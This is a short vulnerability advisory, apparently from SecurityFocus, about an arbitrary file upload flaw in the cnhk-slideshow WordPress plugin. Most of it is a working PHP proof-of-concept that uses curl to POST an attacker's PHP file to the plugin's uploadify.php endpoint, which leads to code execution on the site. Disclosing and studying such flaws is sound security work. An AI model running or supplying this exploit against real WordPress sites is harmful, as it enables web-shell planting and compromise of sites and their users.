source: https://www.securityfocus.com/bid/67469/info The cnhk-slideshow plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. <?php $uploadfile="file.php"; $ch = curl_init(" http://localhost/wp-content/plugins/cnhk-slideshow/uploadify/uploadify.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('slideshow'=>"@$uploadfile")); curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); print "$result"; ?>